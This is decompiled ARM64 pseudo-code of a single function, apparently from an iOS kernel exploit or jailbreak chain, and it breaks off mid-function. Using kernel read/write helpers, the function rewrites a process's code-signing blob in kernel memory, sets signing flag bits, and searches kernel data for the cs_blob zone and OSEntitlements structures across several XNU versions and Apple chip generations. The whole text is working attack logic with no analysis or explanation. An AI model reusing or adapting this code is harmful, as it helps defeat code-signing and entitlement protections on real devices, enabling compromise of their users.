void __fastcall csblob_proc_patch_dispatch(__int64 a1)
{
  __int64 v2; // x20
  int *v3; // x21
  unsigned __int64 v4; // x24
  bool v5; // cc
  unsigned __int64 v6; // x0
  unsigned __int64 v7; // x23
  __int64 v8; // x27
  __int64 v9; // x9
  __int64 v10; // x8
  int v11; // w0
  int v12; // w8
  int v13; // w23
  unsigned __int64 v14; // x0
  unsigned __int64 v15; // x25
  __int64 v16; // x27
  int v17; // w22
  int *v18; // x24
  __int64 v19; // x23
  uint64_t *v20; // x0
  uint64_t *v21; // x25
  int v22; // w25
  __int64 v23; // x25
  unsigned __int64 v24; // x27
  unsigned __int64 v25; // x8
  mach_vm_address_t v26; // x24
  int v27; // w24
  void *v28; // x23
  int v29; // w0
  unsigned __int64 v30; // x1
  int v31; // w23
  int v32; // w0
  char v33; // w24
  __int64 v34; // x2
  int v35; // w24
  unsigned __int64 v36; // x8
  unsigned int v37; // w10
  __int64 v38; // x2
  __int64 v39; // x8
  int v40; // w21
  unsigned __int64 v41; // x8
  unsigned int v42; // w23
  __int64 v43; // x9
  __int64 v44; // x25
  unsigned __int64 v45; // x9
  unsigned __int64 v46; // x8
  unsigned int v47; // w25
  __int64 v48; // x22
  uint64_t *v49; // x0
  uint64_t *v50; // x27
  __int64 v51; // x25
  int v52; // w12
  unsigned __int64 v53; // x8
  int v54; // w0
  int v55; // w9
  int v56; // w10
  unsigned int v57; // w1
  int v58; // w24
  unsigned int v59; // w11
  int v60; // w23
  unsigned int v61; // w0
  unsigned __int64 v62; // x10
  int v63; // w8
  int v64; // w8
  unsigned __int64 v65; // x0
  unsigned __int64 v66; // x21
  __int64 v67; // x21
  mach_vm_address_t v68; // x23
  char v69; // w23
  unsigned __int64 v70; // x24
  __int64 v71; // x8
  unsigned int *v72; // x0
  unsigned int v73; // w8
  __int64 v74; // x2
  unsigned __int64 v75; // x0
  unsigned __int64 v76; // x24
  __int64 v77; // x8
  int v78; // w0
  unsigned __int64 v79; // x0
  unsigned int v80; // w0
  int v81; // w1
  __int64 v82; // x9
  __int64 v83; // x24
  mach_port_t v84; // w0
  unsigned __int64 v85; // x0
  int v86; // w0
  unsigned __int64 v87; // x24
  __int64 v88; // x8
  unsigned int v89; // w9
  unsigned int v90; // w9
  int v91; // w0
  void *(__cdecl *v92)(void *); // x0
  int v93; // w0
  int v94; // w0
  int v95; // w24
  int v96; // w8
  int v97; // w24
  unsigned __int64 v98; // x8
  __int64 v99; // x9
  __int64 v100; // x1
  char v101; // w27
  int v102; // w24
  int v103; // w0
  unsigned __int64 v104; // x23
  thread_act_t v105; // w0
  mach_port_t v106; // w0
  int v107; // w0
  void *(__cdecl *v108)(void *); // x0
  int v109; // w0
  int v110; // w8
  unsigned int v111; // w24
  unsigned __int64 v112; // x0
  unsigned __int64 v113; // x23
  int v114; // w8
  int v115; // w8
  __int64 v116; // x8
  unsigned __int64 v117; // x0
  int v118; // w0
  int v119; // w8
  int v120; // w23
  char *v121; // x27
  int v122; // w21
  bool v123; // zf
  __int64 v124; // x27
  int v125; // w0
  unsigned __int64 v126; // x0
  unsigned __int64 v127; // x21
  __int64 v128; // x8
  __int64 v129; // x9
  unsigned __int64 v130; // x21
  int v131; // w0
  int v132; // w8
  int v133; // w8
  int v134; // w0
  kern_return_t v135; // w0
  int v136; // w0
  int v137; // w0
  int v138; // w23
  int v139; // w21
  __int64 v140; // [xsp+10h] [xbp-4E0h]
  thread_act_t target_act[2]; // [xsp+18h] [xbp-4D8h]
  thread_act_t target_acta[2]; // [xsp+18h] [xbp-4D8h]
  thread_act_t target_actb; // [xsp+18h] [xbp-4D8h]
  unsigned __int64 v144; // [xsp+20h] [xbp-4D0h]
  __int64 v145; // [xsp+20h] [xbp-4D0h]
  unsigned __int64 v146; // [xsp+20h] [xbp-4D0h]
  unsigned int v147; // [xsp+28h] [xbp-4C8h]
  __int64 v148; // [xsp+28h] [xbp-4C8h]
  int v149; // [xsp+28h] [xbp-4C8h]
  unsigned int v150; // [xsp+30h] [xbp-4C0h]
  int v151; // [xsp+30h] [xbp-4C0h]
  int bufSize; // [xsp+34h] [xbp-4BCh]
  unsigned int bufSizea; // [xsp+34h] [xbp-4BCh]
  char bufSizeb; // [xsp+34h] [xbp-4BCh]
  char bufSizec; // [xsp+34h] [xbp-4BCh]
  unsigned int bufSized; // [xsp+34h] [xbp-4BCh]
  __int64 bufSize_4; // [xsp+38h] [xbp-4B8h]
  int bufSize_4a; // [xsp+38h] [xbp-4B8h]
  unsigned int size; // [xsp+40h] [xbp-4B0h]
  int sizea; // [xsp+40h] [xbp-4B0h]
  int size_4; // [xsp+44h] [xbp-4ACh]
  int size_4a; // [xsp+44h] [xbp-4ACh]
  __int64 v163; // [xsp+48h] [xbp-4A8h]
  unsigned int v164; // [xsp+48h] [xbp-4A8h]
  void *buf; // [xsp+50h] [xbp-4A0h]
  int bufa; // [xsp+50h] [xbp-4A0h]
  __int64 bufb; // [xsp+50h] [xbp-4A0h]
  __int64 bufc; // [xsp+50h] [xbp-4A0h]
  __int64 v169; // [xsp+58h] [xbp-498h]
  __int64 v170; // [xsp+58h] [xbp-498h]
  int v171; // [xsp+64h] [xbp-48Ch] BYREF
  unsigned int v172; // [xsp+68h] [xbp-488h] BYREF
  unsigned int v173; // [xsp+6Ch] [xbp-484h] BYREF
  mach_port_name_t name[4]; // [xsp+70h] [xbp-480h] BYREF
  __int128 v175; // [xsp+80h] [xbp-470h]
  __int128 v176; // [xsp+90h] [xbp-460h]
  __int128 v177; // [xsp+A0h] [xbp-450h]
  __int128 v178; // [xsp+B0h] [xbp-440h]
  unsigned __int64 __src[4]; // [xsp+C8h] [xbp-428h] BYREF
  __int64 v180; // [xsp+E8h] [xbp-408h]
  __int128 v181; // [xsp+F0h] [xbp-400h] BYREF
  __int128 v182; // [xsp+100h] [xbp-3F0h]
  __int128 v183; // [xsp+110h] [xbp-3E0h]
  __int64 v184; // [xsp+120h] [xbp-3D0h]
  unsigned __int8 v185; // [xsp+12Ah] [xbp-3C6h] BYREF
  char v186; // [xsp+12Bh] [xbp-3C5h] BYREF
  unsigned int v187; // [xsp+12Ch] [xbp-3C4h] BYREF
  mach_vm_address_t v188; // [xsp+130h] [xbp-3C0h] BYREF
  __int64 v189; // [xsp+138h] [xbp-3B8h] BYREF
  __int64 v190; // [xsp+140h] [xbp-3B0h] BYREF
  unsigned int v191; // [xsp+14Ch] [xbp-3A4h] BYREF
  unsigned int v192; // [xsp+150h] [xbp-3A0h] BYREF
  int v193; // [xsp+154h] [xbp-39Ch] BYREF
  __int64 newBytes; // [xsp+158h] [xbp-398h] BYREF
  int v195; // [xsp+160h] [xbp-390h] BYREF
  __int64 v196; // [xsp+168h] [xbp-388h]
  __int64 v197; // [xsp+178h] [xbp-378h]
  int v198; // [xsp+190h] [xbp-360h]
  int v199; // [xsp+1A0h] [xbp-350h]
  unsigned int v200; // [xsp+1ACh] [xbp-344h]
  int v201; // [xsp+1B0h] [xbp-340h]
  __int64 v202; // [xsp+1C8h] [xbp-328h] BYREF
  int v203; // [xsp+1D4h] [xbp-31Ch] BYREF
  unsigned __int64 v204; // [xsp+1D8h] [xbp-318h] BYREF
  void *v205; // [xsp+1E0h] [xbp-310h] BYREF
  unsigned int v206; // [xsp+1ECh] [xbp-304h] BYREF
  void *v207; // [xsp+1F0h] [xbp-300h] BYREF
  unsigned __int64 v208; // [xsp+1F8h] [xbp-2F8h] BYREF
  unsigned __int64 v209; // [xsp+200h] [xbp-2F0h] BYREF
  pthread_t v210; // [xsp+208h] [xbp-2E8h] BYREF
  unsigned int v211; // [xsp+214h] [xbp-2DCh] BYREF
  uint8_t v212[48]; // [xsp+218h] [xbp-2D8h] BYREF
  unsigned __int64 v213; // [xsp+248h] [xbp-2A8h] BYREF
  void *v214; // [xsp+250h] [xbp-2A0h]
  __int64 v215; // [xsp+258h] [xbp-298h]
  __int128 v216; // [xsp+280h] [xbp-270h] BYREF
  __int128 v217; // [xsp+290h] [xbp-260h]
  __int128 v218; // [xsp+2A0h] [xbp-250h]
  __int128 v219; // [xsp+2B0h] [xbp-240h]
  __int128 v220; // [xsp+2C0h] [xbp-230h]
  __int128 v221; // [xsp+2D0h] [xbp-220h]
  __int128 v222; // [xsp+2E0h] [xbp-210h]
  __int128 v223; // [xsp+2F0h] [xbp-200h]
  __int128 v224; // [xsp+300h] [xbp-1F0h]
  __int128 v225; // [xsp+310h] [xbp-1E0h]
  __int128 v226; // [xsp+320h] [xbp-1D0h]
  __int128 v227; // [xsp+330h] [xbp-1C0h]
  __int128 v228; // [xsp+340h] [xbp-1B0h]
  __int128 v229; // [xsp+350h] [xbp-1A0h]
  __int128 v230; // [xsp+360h] [xbp-190h]
  __int128 v231; // [xsp+370h] [xbp-180h]
  __int128 v232; // [xsp+380h] [xbp-170h]
  __int128 v233; // [xsp+390h] [xbp-160h]
  __int128 v234; // [xsp+3A0h] [xbp-150h]
  __int128 v235; // [xsp+3B0h] [xbp-140h]
  __int128 v236; // [xsp+3C0h] [xbp-130h]
  __int128 v237; // [xsp+3D0h] [xbp-120h]
  __int128 v238; // [xsp+3E0h] [xbp-110h]
  __int128 v239; // [xsp+3F0h] [xbp-100h]
  __int128 v240; // [xsp+400h] [xbp-F0h]
  __int128 v241; // [xsp+410h] [xbp-E0h]
  __int128 v242; // [xsp+420h] [xbp-D0h]
  __int128 v243; // [xsp+430h] [xbp-C0h]
  __int128 v244; // [xsp+440h] [xbp-B0h]
  __int128 v245; // [xsp+450h] [xbp-A0h]
  __int128 v246; // [xsp+460h] [xbp-90h]
  __int128 v247; // [xsp+470h] [xbp-80h]

  v2 = *(uint64_t *)a1;
  v3 = *(int **)(a1 + 8);
  v4 = *(uint64_t *)(*(uint64_t *)a1 + 344LL);
  v5 = (**(uint32_t **)a1 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || v4 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023);
  if ( !v5 )
  {
    v204 = 0;
    v205 = 0;
    v203 = -1;
    v202 = 0x20000000;
    newBytes = 0;
    v193 = 0;
    v188 = 0;
    v189 = 0;
    v187 = 0;
    v11 = krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
    v12 = 0;
    if ( (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
      goto LABEL_466;
    v13 = v11;
    if ( (unsigned int)csblob_alloc_and_fill_slots(
                         (__int64)v3,
                         &v205,
                         &v204,
                         (unsigned int *)&newBytes + 1,
                         (unsigned int *)&newBytes,
                         (unsigned int *)&v193) )
    {
      v198 = -1;
      v14 = kread_task_struct((struct_krwCtx *)v2, v3[17]);
      if ( !v14 )
      {
        v22 = 5;
LABEL_352:
        v122 = v203;
        if ( v203 != -1 )
        {
          if ( v188 && v189 && !kwrite64(v2, v188, v189) )
            v22 = 5;
          close(v122);
        }
        if ( v205 )
          free(v205);
        v123 = v22 == 0;
        goto LABEL_463;
      }
      v15 = v14;
      if ( !(unsigned int)get_csblob_offset_pair(v2, (int *)&v192, (int *)&v191) )
        goto LABEL_349;
      v16 = v15 + v191;
      if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, v16, 8, &v190) )
        goto LABEL_349;
      if ( v190 == 0x20000000 )
      {
        v17 = 0;
        v18 = v3;
LABEL_33:
        v19 = v204;
        if ( v204 > *((uint64_t *)v18 + 2) )
        {
          LODWORD(v209) = v204;
          v20 = alloc_physmap_page_aligned((struct_krwCtx *)v2, (unsigned int *)&v209);
          if ( !v20 )
            goto LABEL_349;
          *((uint64_t *)v18 + 3) = v20;
          v21 = v18 + 6;
          *((uint64_t *)v18 + 2) = (unsigned int)v209;
          if ( !(unsigned int)kwrite_with_retry(v2, (__int64)v20, (__int64)v205, v19)
            || !kwrite64(v2, *((uint64_t *)v18 + 1) + 64LL, *((uint64_t *)v18 + 3))
            || !kwrite64(v2, *((uint64_t *)v18 + 1) + 48LL, *((uint64_t *)v18 + 2)) )
          {
            goto LABEL_349;
          }
LABEL_63:
          if ( kwrite64(v2, *((uint64_t *)v18 + 1) + 120LL, *((uint64_t *)v18 + 3) + HIDWORD(newBytes)) )
          {
            v34 = (uint32_t)newBytes ? *v21 + (unsigned int)newBytes : 0LL;
            if ( kwrite64(v2, *((uint64_t *)v18 + 1) + 136LL, v34) )
            {
              if ( *(uint64_t *)(v2 + 344) <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)
                || (!v193 ? (v38 = 0) : (v38 = *v21 + (unsigned int)v193),
                    kwrite64(v2, *((uint64_t *)v18 + 1) + 152LL, v38)) )
              {
                if ( v190 == 0x20000000
                  || (!v17
                   || (*((uint8_t *)v3 + 3) & 4) != 0
                   || (*(uint64_t *)name = 0, *(uint64_t *)&v181 = 0, v213 = 0, (v68 = *((uint64_t *)v3 + 4)) != 0)
                   && kread_physmap_decorated((struct_krwCtx *)v2, *((uint64_t *)v3 + 4), (unsigned __int64 *)name)
                   && *(uint64_t *)name
                   && (*(uint64_t *)name == *((uint64_t *)v3 + 1)
                    || kread_physmap_decorated((struct_krwCtx *)v2, *(unsigned __int64 *)name, (unsigned __int64 *)&v181)
                    && (uint64_t)v181
                    && kread_physmap_decorated((struct_krwCtx *)v2, v181, &v213)
                    && !v213
                    && kwrite64(v2, v68, v181)
                    && kwrite64(v2, *(mach_vm_address_t *)name, 0)
                    && kwrite64(v2, v181, *(__int64 *)name)))
                  && (unsigned int)proc_kread_and_patch_slot((struct_krwCtx *)v2, v3[17], v190)
                  && (v190 = 0x20000000, (unsigned int)kwrite_with_retry(v2, v16, (__int64)&v190, 8)) )
                {
                  v22 = 0;
                  goto LABEL_350;
                }
              }
            }
          }
          goto LABEL_349;
        }
        v21 = v18 + 6;
        if ( (unsigned int)kwrite_with_retry(v2, *((uint64_t *)v18 + 3), (__int64)v205, v204) )
          goto LABEL_63;
LABEL_349:
        v22 = 5;
        goto LABEL_350;
      }
      if ( v13 )
      {
        v23 = v204;
        buf = v205;
        v169 = v16;
        v163 = HIDWORD(newBytes);
        *(uint64_t *)&v181 = 0;
        v213 = *((uint64_t *)v3 + 4);
        v24 = v213;
        v208 = 0;
        v230 = 0u;
        v231 = 0u;
        v228 = 0u;
        v229 = 0u;
        v226 = 0u;
        v227 = 0u;
        v224 = 0u;
        v225 = 0u;
        v222 = 0u;
        v223 = 0u;
        v220 = 0u;
        v221 = 0u;
        v218 = 0u;
        v219 = 0u;
        v216 = 0u;
        v217 = 0u;
        size_4 = krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK);
        if ( v24 )
        {
          if ( kread_physmap_decorated((struct_krwCtx *)v2, v24, &v213) )
          {
            v25 = v213;
            if ( v213 )
            {
              while ( 1 )
              {
                v26 = v25;
                if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, v25 + 24, 8, &v181) )
                  break;
                if ( (uint64_t)v181 == 0x20000000 )
                {
                  if ( v213 )
                  {
                    v17 = 0;
                    goto LABEL_110;
                  }
LABEL_121:
                  size = get_version_specific_offset((struct_krwCtx *)v2);
                  if ( !size )
                    goto LABEL_349;
                  v206 = v23;
                  v49 = alloc_physmap_page_aligned((struct_krwCtx *)v2, &v206);
                  if ( !v49 )
                    goto LABEL_349;
                  v50 = v49;
                  bufSize_4 = v206;
                  if ( !(unsigned int)kwrite_with_retry(v2, (__int64)v49, (__int64)buf, v23) )
                    goto LABEL_349;
                  *(uint64_t *)name = 0;
                  if ( *(uint64_t *)(v2 + 344) <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
                  {
                    v211 = size;
                    bufb = alloc_physmap_page(v2, &v211);
                    if ( !bufb )
                      goto LABEL_349;
                  }
                  else
                  {
                    v51 = *(uint64_t *)(v2 + 6584);
                    if ( !v51 )
                    {
                      v117 = kernel_cstring_pattern_scan(v2, "cs_blob zone");
                      if ( !v117 )
                        goto LABEL_349;
                      v51 = v117;
                      if ( (unsigned int)find_kfunc_ptr_in_kernel_data((struct_krwCtx *)v2, v117) )
                        goto LABEL_349;
                      *(uint64_t *)(v2 + 6584) = v51;
                    }
                    if ( (unsigned int)resolve_kfunc_via_page_dispatch(
                                         (struct_krwCtx *)v2,
                                         v51,
                                         size,
                                         (__int64 *)name,
                                         (__int64 (__fastcall *)(__int64, __int64))get_dyld_slide_info,
                                         0) )
                      goto LABEL_349;
                    bufb = *(uint64_t *)name;
                    if ( !*(uint64_t *)name )
                      goto LABEL_349;
                  }
                  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, *((uint64_t *)v3 + 1), size, &v216) )
                    goto LABEL_349;
                  v207 = 0;
                  __memcpy_chk(&v216, &v207, *(int *)(v2 + 360), 0x100u);
                  *(uint64_t *)&v181 = 0x20000000;
                  *((uint64_t *)&v217 + 1) = 0x20000000;
                  *(uint64_t *)&v220 = v50;
                  *(uint64_t *)&v219 = bufSize_4;
                  v210 = (pthread_t)((char *)v50 + v163);
                  __memcpy_chk((char *)&v216 + 0x78, &v210, *(int *)(v2 + 360), 0x88u);
                  v98 = *(uint64_t *)(v2 + 344);
                  v99 = 144;
                  if ( v98 > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
                    v99 = 152;
                  if ( v98 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
                    v99 = 168;
                  v100 = *(uint64_t *)((char *)&v216 + v99);
                  __src[0] = v100;
                  if ( v100 )
                  {
                    if ( v98 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
                    {
                      __src[0] = 0;
                      memcpy((char *)&v216 + v99, __src, *(int *)(v2 + 360));
                    }
                    else if ( (unsigned int)kread_and_kwrite_u16_plus8_bumped(v2, v100) )
                    {
                      goto LABEL_349;
                    }
                  }
                  v209 = *((uint64_t *)&v224 + 1);
                  if ( *((uint64_t *)&v224 + 1) )
                  {
                    v209 = (unsigned __int64)v50 + *((uint64_t *)&v224 + 1) - *((uint64_t *)v3 + 3);
                    __memcpy_chk((char *)&v216 + 0x88, &v209, *(int *)(v2 + 360), 0x78u);
                  }
                  if ( *(uint64_t *)(v2 + 344) > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
                  {
                    v208 = *((uint64_t *)&v225 + 1);
                    if ( *((uint64_t *)&v225 + 1) )
                    {
                      v208 = (unsigned __int64)v50 + *((uint64_t *)&v225 + 1) - *((uint64_t *)v3 + 3);
                      __memcpy_chk((char *)&v216 + 0x98, &v208, *(int *)(v2 + 360), 0x68u);
                    }
                  }
                  if ( size_4 )
                  {
                    *(uint64_t *)name = 0;
                    v121 = (char *)&v216 + size - *(uint32_t *)(v2 + 360);
                    __memcpy_chk(name, v121, *(int *)(v2 + 360), 8u);
                    if ( *(uint64_t *)name && !validate_kaddr_range(v2, *(__int64 *)name) )
                      goto LABEL_349;
                    *(uint64_t *)name = 0;
                    memcpy(v121, name, *(int *)(v2 + 360));
                  }
                  if ( !(unsigned int)kwrite_with_retry(v2, bufb, (__int64)&v216, size) || !kwrite64(v2, v26, bufb) )
                    goto LABEL_349;
                  goto LABEL_348;
                }
                if ( !kread_physmap_decorated((struct_krwCtx *)v2, v213, &v213) )
                  goto LABEL_349;
                v25 = v213;
                if ( !v213 )
                  goto LABEL_121;
              }
            }
          }
        }
        goto LABEL_349;
      }
      if ( !kread_physmap_decorated((struct_krwCtx *)v2, v15 + v192, __src)
        || !(unsigned int)wire_proc_page_via_kobject((struct_krwCtx *)v2, __src[0], &v188, &v189, &v203) )
      {
        goto LABEL_349;
      }
      v216 = 0x20000000u;
      *(uint64_t *)&v217 = 0x40000000;
      v35 = v203;
      if ( (fcntl(v203, 59, &v216) & 0x80000000) == 0 )
      {
        v17 = 0;
LABEL_111:
        if ( !(unsigned int)csblob_chain_walk_offsets((struct_krwCtx *)v2, v3[17], &v202, 1u, (__int64)&v195) )
          goto LABEL_349;
        v18 = &v195;
        if ( !v13 && v17 )
        {
          if ( (*((uint8_t *)v3 + 3) & 4) == 0 )
          {
            v48 = *(uint64_t *)(v2 + 344) <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 128LL : 136LL;
            if ( !kread_physmap_decorated((struct_krwCtx *)v2, v48 + *((uint64_t *)v3 + 1), (unsigned __int64 *)&v210)
              || !kwrite64(v2, v196 + v48, (__int64)v210) )
            {
              goto LABEL_349;
            }
          }
          v18 = &v195;
          v17 = 1;
        }
        goto LABEL_33;
      }
      if ( errno != 7 )
        goto LABEL_349;
      v46 = *(uint64_t *)(v2 + 344);
      if ( v46 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      {
        if ( v46 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
        {
          v47 = 168;
          if ( v46 <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
          {
            if ( *(int *)(v2 + 320) <= 7194 )
              v47 = 168;
            else
              v47 = 160;
          }
        }
        else
        {
          v47 = 184;
        }
      }
      else
      {
        v47 = 172;
      }
      if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, *((uint64_t *)v3 + 1) + v47, 1, &v187) )
        goto LABEL_349;
      v169 = v16;
      v101 = v187;
      if ( !(unsigned int)csblob_compute_and_copy_hash((__int64)v3, v212) )
        goto LABEL_349;
      if ( !physmap_single_check(v2, (__int64)v212, 20) )
        goto LABEL_349;
      if ( (v101 & 1) == 0 )
      {
        name[0] = v187 | 1;
        if ( !(unsigned int)physmap_kwrite_chain_entry((struct_krwCtx *)v2, *((uint64_t *)v3 + 4), v47, name, 1) )
          goto LABEL_349;
      }
      *(uint64_t *)&v216 = 0x20000000;
      *((uint64_t *)&v216 + 1) = v205;
      *(uint64_t *)&v217 = v204;
      v102 = fcntl(v35, 59, &v216);
      if ( v102 < 0 )
      {
        __error();
        if ( (v101 & 1) != 0 )
          goto LABEL_349;
      }
      else if ( (v101 & 1) != 0 )
      {
LABEL_348:
        v17 = 1;
LABEL_110:
        v16 = v169;
        goto LABEL_111;
      }
      v17 = 1;
      v118 = physmap_kwrite_chain_entry((struct_krwCtx *)v2, *((uint64_t *)v3 + 4), v47, &v187, 1);
      v22 = 5;
      if ( !v118 || (v16 = v169, v102 < 0) )
      {
LABEL_350:
        if ( v198 != -1 )
          csblob_free_entry((__int64)&v195);
        goto LABEL_352;
      }
      goto LABEL_111;
    }
LABEL_39:
    v12 = 0;
    goto LABEL_466;
  }
  v207 = 0;
  v205 = 0;
  v193 = -1;
  v192 = 0;
  v191 = 0;
  v187 = 0;
  v188 = 0;
  v189 = 0;
  v171 = 0;
  if ( !(unsigned int)csblob_alloc_and_fill_slots((__int64)v3, &v207, (size_t *)&v205, &v192, &v191, &v187) )
    goto LABEL_39;
  v198 = -1;
  if ( !*((uint8_t *)v3 + 96)
    && *((uint64_t *)v3 + 5) >> 29
    && (v3[19] != v192 || v3[21] != v191 && !v187 || v3[22] != v187 && *(uint64_t *)(v2 + 344) > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) )
  {
    goto LABEL_451;
  }
  v6 = kread_task_struct((struct_krwCtx *)v2, v3[17]);
  if ( !v6 )
    goto LABEL_451;
  v7 = v6;
  if ( !(unsigned int)get_csblob_offset_pair(v2, (int *)&v173, (int *)&v172) )
    goto LABEL_451;
  v8 = v7 + v172;
  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, v8, 8, &v202) )
    goto LABEL_451;
  v9 = v202;
  if ( v202 >= 0x20000000 && !*((uint8_t *)v3 + 96) )
  {
    v27 = 0;
    goto LABEL_51;
  }
  if ( !kread_physmap_decorated((struct_krwCtx *)v2, v7 + v173, (unsigned __int64 *)&v190)
    || !(unsigned int)wire_proc_page_via_kobject((struct_krwCtx *)v2, v190, &v188, &v189, &v193) )
  {
    goto LABEL_451;
  }
  if ( *((uint8_t *)v3 + 96) )
  {
    if ( v202 > 0x7FFFFFFFFFLL )
      goto LABEL_451;
    if ( v202 >= 0x20000000 )
      v10 = v202 + 0x20000000;
    else
      v10 = 0x20000000;
  }
  else
  {
    v10 = 0x20000000;
  }
  v170 = v10;
  v213 = v10;
  v214 = 0;
  v215 = 0x40000000;
  v31 = v193;
  v32 = fcntl(v193, 59, &v213);
  if ( (v32 & 0x80000000) == 0 )
  {
    if ( *((uint8_t *)v3 + 96) )
      goto LABEL_451;
    bufa = v32;
    v33 = 0;
    goto LABEL_59;
  }
  bufa = v32;
  if ( errno != 7 )
    goto LABEL_451;
  v36 = *(uint64_t *)(v2 + 344);
  if ( v36 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
  {
    if ( v36 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    {
      v37 = 168;
      if ( v36 <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
      {
        if ( *(int *)(v2 + 320) <= 7194 )
          v37 = 168;
        else
          v37 = 160;
      }
    }
    else
    {
      v37 = 184;
    }
  }
  else
  {
    v37 = 172;
  }
  v164 = v37;
  if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, *((uint64_t *)v3 + 1) + v37, 1, &v171) )
    goto LABEL_451;
  v52 = v171 & 1;
  if ( v4 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
    goto LABEL_142;
  bufSize = v171 & 1;
  if ( !(unsigned int)csblob_compute_and_copy_hash((__int64)v3, v212) || !physmap_single_check(v2, (__int64)v212, 20) )
    goto LABEL_451;
  v52 = bufSize;
  if ( bufSize )
  {
LABEL_142:
    bufSize_4a = 0;
LABEL_143:
    v53 = *(uint64_t *)(v2 + 344);
    goto LABEL_144;
  }
  if ( (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 || (v53 = *(uint64_t *)(v2 + 344), v53 > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023)) )
  {
    LODWORD(v216) = v171 | 1;
    bufSize_4a = 1;
    v54 = physmap_kwrite_chain_entry((struct_krwCtx *)v2, *((uint64_t *)v3 + 4), v164, &v216, 1);
    v52 = 0;
    if ( !v54 )
      goto LABEL_451;
    goto LABEL_143;
  }
  bufSize_4a = 0;
  v52 = 0;
LABEL_144:
  if ( v53 <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
  {
    v55 = 0;
    LOBYTE(sizea) = 0;
  }
  else
  {
    sizea = *((unsigned __int8 *)v3 + 97);
    v55 = sizea != 0;
  }
  v213 = v170;
  v214 = v207;
  v215 = (__int64)v205;
  if ( v4 > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
  {
    v56 = 0;
    LODWORD(v208) = v31;
    v57 = v3[17];
    v184 = 0;
    v183 = 0u;
    v182 = 0u;
    v181 = 0u;
    LOWORD(v204) = 0;
    v209 = 0;
    v210 = 0;
    v177 = 0u;
    v178 = 0u;
    v175 = 0u;
    v176 = 0u;
    *(__int128 *)name = 0u;
    if ( v55 )
      v56 = (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 && v53 < XNU_VERSION_PACKED(8019, 60, 40, 0, 0);
    if ( v52 )
    {
      v52 = 0;
      v59 = 0;
      v58 = 4097;
    }
    else
    {
      v58 = 4097;
      if ( (*(uint32_t *)v2 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
      {
        v59 = 0;
        if ( v53 < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
        {
          v147 = v57;
          v60 = v56;
          v61 = get_version_specific_offset((struct_krwCtx *)v2);
          if ( !v61 )
          {
            v115 = 163857;
            goto LABEL_441;
          }
          bufSizea = v61;
          if ( *(uint64_t *)(v2 + 6584) )
          {
            v58 = 4097;
          }
          else
          {
            v146 = kernel_cstring_pattern_scan(v2, "cs_blob zone");
            if ( !v146 )
            {
              v115 = 4097;
              goto LABEL_441;
            }
            size_4a = find_kfunc_ptr_in_kernel_data((struct_krwCtx *)v2, v146);
            if ( size_4a )
              goto LABEL_442;
            v58 = 0;
            *(uint64_t *)(v2 + 6584) = v146;
          }
          v52 = 1;
          v56 = v60;
          v59 = bufSizea;
          v57 = v147;
        }
      }
      else
      {
        v59 = 0;
      }
    }
    v151 = v56;
    bufSized = v59;
    v149 = v52;
    if ( v56 )
    {
      if ( !*(uint64_t *)(v2 + 6576) || !*(uint32_t *)(v2 + 6592) )
      {
        v111 = v57;
        v112 = kernel_cstring_pattern_scan(v2, "iokit.OSEntitlements");
        if ( !v112 )
        {
          v115 = 708625;
          goto LABEL_441;
        }
        v113 = v112;
        size_4a = find_kfunc_ptr_in_kernel_data((struct_krwCtx *)v2, v112);
        if ( size_4a )
          goto LABEL_442;
        if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v2, v113 + 54, 2, &v216) )
        {
          v115 = 163855;
          goto LABEL_441;
        }
        v114 = (unsigned __int16)v216;
        size_4a = 163857;
        if ( (unsigned int)(unsigned __int16)v216 - 1 > 0x1FF
          || ((*(uint32_t *)(v2 + 360) - 1) & (unsigned __int16)v216) != 0 )
        {
          goto LABEL_442;
        }
        *(uint64_t *)(v2 + 6576) = v113;
        *(uint32_t *)(v2 + 6592) = v114;
        v57 = v111;
      }
      if ( !(unsigned int)necp_set_opt_string_6(v2, v57) )
      {
        size_4a = 163865;
        goto LABEL_442;
      }
      size_4a = 163878;
      v145 = *(uint64_t *)(v2 + 928);
      v104 = *(uint64_t *)(v2 + 912);
      if ( !validate_kaddr_range(v2, v104) )
        goto LABEL_442;
